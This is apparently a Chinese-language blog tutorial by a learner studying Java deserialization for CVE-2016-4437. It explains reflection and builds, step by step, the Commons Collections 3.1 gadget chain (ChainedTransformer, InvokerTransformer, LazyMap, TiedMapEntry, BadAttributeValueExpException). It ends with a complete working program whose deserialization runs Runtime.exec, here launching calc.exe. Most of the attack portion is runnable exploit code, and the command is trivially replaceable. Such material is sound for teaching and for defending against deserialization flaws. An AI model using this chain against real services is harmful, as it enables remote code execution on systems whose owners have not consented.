前言:
大概是决定复现JAVA的CVE,第一个拿cve-2016-4437试试,但是之前没接触过JAVA,在历经磨难安装好IDEA maven和依赖环境,跟着各位师傅的教程调试源代码发现大佬们的教程都是跟到 可以控制传入readObject()的反序列化就没了,再细查便是什么CC4,CC3.1之类看上去很深奥的东西。深感基础不足,从头开始学JAVA的各种机制,如有错误疏漏不足欢迎在评论中指出。
利用Java反射执行代码
Java的反序列化是离不开Java的反射机制的,反射机制离不开Object类和Class类,关于反射已经有很多大佬写过详解,这里只用两个例子来说明如何利用Java反射来执行代码 第一个,经典弹计算器
public class Hello {
public static void main(String[] args) throws Exception {
Hello helloTest = new Hello();
helloTest.oneTest();
}
public void oneTest() throws Exception{
Object runtime=Class.forName("java.lang.Runtime")
.getMethod("getRuntime",new Class[]{})
.invoke(null);
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(runtime,"calc.exe");
}
}
首先是几个关键的方法: Class.forName()方法: Class.forName是一个静态方法,可以用来加载类。该方法有两种形式:Class.forName(String name, boolean initialize, ClassLoader loader) 和 Class.forName(String className) ,参数String className为所需的类名,方法返回一个与给定的字符串名称相关联类或接口的Class对象。
getMethod()方法与invoke方法:一般同时使用 Method getMethod(String name,Class...parameterTypes) ,参数String name表示mothod的名称,Class parameterTypes表示method的参数类型的列表(参数顺序需按声明method时的参数列表排列),符合method名称和参数的method对象 Object invoke(Object obj,Object...args) ,调用包装在当前Method对象中的方法,参数Object obj表示实例化后的对象,Object args表示方法调用的参数
再来分析例子中的第一部分代码:
Object runtime=Class.forName("java.lang.Runtime")
.getMethod("getRuntime",new Class[]{})
.invoke(null);
相当于调用了 Runtime类中的getRuntime方法并赋值给runtime,我们查看一下getRuntime方法的代码:
public class Runtime {
private static Runtime currentRuntime = new Runtime();
public static Runtime getRuntime() {
return currentRuntime;
}
}
因为是static方法,不依附于任何对象,所以在用.invoke()调用时可以没有 参数Object obj,返回的一个new Runtime对象。
再看第二部分
Class.forName("java.lang.Runtime")
.getMethod("exec", String.class)
.invoke(runtime,"calc.exe");
相当于调用了 runtime.exec(“calc.exe”),因为exec()方法不是static,所以invoke()方法需要一个Object obj参数,也就是第一部分返回的runtime。(PS. 个人觉得Java的反射机制有点模糊了 数据和程序 的边界,可以通过用户输入的字符串来调用没有预期的函数执行恶意命令。)
Transformer常见的恶意代码包装类
利用Transformer,我们可以构造一条可序列化的恶意的代码链
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
public class Hello {
public static void main(String[] args) throws Exception {
TransformerTest test = new TransformerTest();
test.runTest();
}
}
class TransformerTest {
public void runTest(){
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(null);
try {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(transformerChain);
} catch (IOException e) {
e.printStackTrace();
}
}
}
先是一个transformer数组里面添加了ConstantTransformer 与InvokerTransformer ,之后用该数组为参数构造一个ChainedTransformer transformerChain 对象(这里也可以是Transformer transformerChain 对象,ChainedTransformer 类implements了Transformer ),调用它的transform() 方法 下断点调试下,可以看到ChainedTransformer 的构造方法和transform() 方法的代码为
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
也就是transform() 会依次调用transformer 数组中transformer 的transform() 方法 继续调试,第一个是ConstantTransformer 的transform()
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
返回了class java.lang.Runtime ,再进入InvokerTransformer 的transform()
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
用上面的反射基础知识可以知道,调用了Runtime 的getMethod() 方法(用一个与Runtime 相关联的class对象来调用的),来查找getRuntime() 方法,返回一个public static java.lang.Runtime java.lang.Runtime.getRuntime() ,(挺绕的,用getMethod来获取getMethod ,再用invoke 来执行getMethod 来获取getRuntime ) 也就是InvokerTransformer 类的transform() 方法将会以InvokerTransformer(方法名称, 参数类型,方法参数) 的形式调用方法,而方法所在的类或对象则是由链条上一步来返回的。
同理下面将执行invoke()来获取Runtime对象,然后执行exec(“calc.exe”),整体相当于
public static void main(String[] args) throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
我们得到了一条可以执行恶意代码可以被序列化的ChainedTransformer transformerChain ,但是我们如何能够让它能够在正常代码中执行它的transformerChain.transform(null) 方法来执行呢?
重写后的readObject如何被执行
(这是我个人不整明白不舒服的疑问,只粗略写了调试过程,不感兴趣的话可以略过) 首先我们要了解为什么在重写readObject()方法后,在反序列化时会调用重写后的方法而不是原方法,来看一个例子
import java.io.*;
public class Test {
public static void main(String[] args) throws Exception {
SerializeTest serializeTest = new SerializeTest();
try {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("temp"));
oos.writeObject(serializeTest);
oos.close();
} catch (IOException e) {
e.printStackTrace();
}
try {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("temp"));
Object p = ois.readObject();
} catch (IOException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
}
}
class SerializeTest implements Serializable {
String str = "hello";
public void show(){
System.out.println(str);
}
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException{
System.out.println("readObject run");
}
}
在Object p = ois.readObject(); 可以看见,它被反序列化为了Object对象而不是SerializeTest的,为什么它可以找到重写后的readObject呢?
下断点然后可以看到调用栈 首先通过下图的调用来读取序列化串来获取类名 接下来是如何调用重写后的readObject(),先是调用ObjectInputStream的readObject()方法 之后进入readObject0() ,在方法内调用readSerialData(obj, desc); 然后跟入 slotDesc.invokeReadObject(obj, this); -> readObjectMethod.invoke(obj, new Object[]{ in });
到达invoke()后就是我们上面提到的用反射来调用方法,执行了我们重写的readObject()方法
重写readObject方法导致的疏漏
例如在Java的代码中存在一个对象BadAttributeValueExpException ,它重写了它的readObject()
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else {
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
可以看到存在一个toString() 方法,我们还要找到一条链可以从toString() 调用到transformerChain.transform(null)
我们将采用Commons-collections 3.1提供的类LazyMap与TiedMapEntry 首先是LazyMap:存在LazyMap.decorate() ,正常用法如下:
Map names = new HashMap();
Map lazyNames = LazyMap.decorate(names, transformer);
String name = (String) lazyNames.get("someName");
System.out.println("name: "+name);
当我们尝试获取一个不存在的键值时,它会运行在LazyMap.decorate(names, transformer); 中传入的transformer (有种PHP中的魔法方法的感觉),添加到我们的代码中测试一下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;
public class Hello {
public static void main(String[] args) throws Exception {
TransformerTest test = new TransformerTest();
test.runTest();
}
}
class TransformerTest {
public void runTest() {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
System.out.println(targetMap.get("anything"));
}
}
成功调用计算器
现在我们的目标便是从toString() 调用到Map对象的get方法 ,需要使用TiedMapEntry 再次包装 TiedMapEntry:该类主要的作用是将一个Map 绑定到 Map.Entry 下,形成一个映射
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable {
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
super();
this.map = map;
this.key = key;
}
public Object getValue() {
return map.get(key);
}
public String toString() {
return getKey() + "=" + getValue();
}
}
可以看到其中的getValue() 实际上调用的便是map.get(key) ,所以我们可以构造如下代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;
public class Hello {
public static void main(String[] args) throws Exception {
TransformerTest test = new TransformerTest();
test.runTest();
}
}
class TransformerTest {
public void runTest() {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry entry = new TiedMapEntry(targetMap, "hack");
entry.toString();
}
}
成功调用 我们来构造整个调用链
public Object getObject() {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry entry = new TiedMapEntry(targetMap, "hack");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = null;
try {
valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return val;
}
为什么要用反射给BadAttributeValueExpException 中的val赋值呢?因为在其的构造函数中存在 也就是如果直接传入会直接在初始化的时候就执行了val.toString() 引爆我们的攻击链,攻击本机一次(hhhhh)
完整测试代码:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Hello {
public static void main(String[] args) throws Exception {
TransformerTest test = new TransformerTest();
byte[] serializeByte = test.serialize(test.getObject());
test.deserialize(serializeByte);
}
}
class TransformerTest {
public Object getObject() {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe",}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map targetMap = LazyMap.decorate(new HashMap(), transformerChain);
TiedMapEntry entry = new TiedMapEntry(targetMap, "hack");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = null;
try {
valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
}
return val;
}
public byte[] serialize(final Object obj) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
return out.toByteArray();
}
public Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
ByteArrayInputStream in = new ByteArrayInputStream(serialized);
ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
}
参考
Java反序列化漏洞的原理分析 Java 反序列化过程深究
|